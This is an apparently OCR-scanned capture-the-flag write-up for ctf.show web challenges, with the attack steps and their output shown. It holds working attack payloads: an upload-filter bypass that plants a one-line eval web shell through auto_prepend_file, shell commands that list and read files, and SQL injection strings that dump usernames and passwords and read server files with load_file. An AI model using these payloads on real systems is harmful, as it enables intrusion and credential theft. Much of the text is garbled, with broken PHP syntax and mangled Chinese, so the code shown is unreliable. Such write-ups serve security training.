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Instance Info

Remaining Time: 3598s
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<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $ FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $ FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i", $ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "M EAERIN!
}else{
echo "M BAERML ;
}

?>
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auto_prepend_file=b.txt
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<?php
eval($_GET['c']);
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?c=print_r(glob("*"));
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\/\(—\9 c o © | & 698706fc-6520-4f3e-9b74-58c617314408.chall.ctf.show:8080/?c=print_r(glob("*")); B2 -
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Array ( [0] => 903c00105c0141fd37{f47697e916e53616e33a72fb3774ab213b3e2a732f56f.php [1] => b.txt [2] => index.php [3] => upload.php [4] => upload.php.bak )
4. flaghi izt /e LI B S 17, highlight file O 301,

?c=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

<?php
$flag="ctfshow{8dc9defc—-8a71-4d4d-89ff-d46f84182f21} " ;

i

5.4 1] LA system() i 2

?c=system('cat 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
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<l--2php $flag="ctfshow{8dc9defc-8a71-4d4d-89ff-d46f84182Ff21}1"; ?-->»
<html lang="zh-CN">»
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<?php
include("secret.php");

if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url’;
break;
case 2:
echo '@A@';
break;
case 555555
echo $url;
case 44444.:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444.
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';

break;

highlight file(___FILE_ );
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@A@here 1s your flag.php@A@ <?php

include ("secret. php”) ;

if (isset($_GET['c’ 1)) {
$c = intval($ GET['c’ ]);
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if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['que
die('@AQ@");
}
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?query=121/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema. tables” /**/where/*

content
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?query=121/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema. columns’ /**/where

id,username, password

[ PR I PR A T S SR

BB

?query=121/**/union/**/select/**/group_concat(0x7a,id,0x7a,username,0x7a,password)/**/from/**/content#
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mysql> UPDATE table_test
-> SET blob_col=LOAD_FILE('/tmp/picture’)
-> WHERE id=1;
4
%)

update eugene set article=load_file('D:\eugene.txt')where title='eugene’;

it secret.php3
1Ef1270, {Escripthes #2485

<?php
$url = 'here_1s_your_flag.php';
$file = '/tmp/gtfly’;

if(trim(@file_get_contents($file)) === 'ctf.show"'){
echo file_get_contents('/real_flag_is_here');
)

a5 tmplgtf1yh 118 S ctf. showdH A, Wjr Hi/real_flag_is_hererh ffE, FAT1AT LA load_file()ik £ B H:4
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?query=121/**/union/**/select/**/load_file('/real_flag_is_here")

* <body>

b <div id="container"»[= </div>
b <script type="text/javascript”>[= </script>

b <div style="text-align:center;"> = ¢ div>
<h--
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring polygon/is®, $_GET[ 'query’'])){
die('@@'); }
--3
¥ iscript>

alert( ' ctfshow{68008b8d-ac86-4e73-af49-ba7d7257366F} ')
</script>
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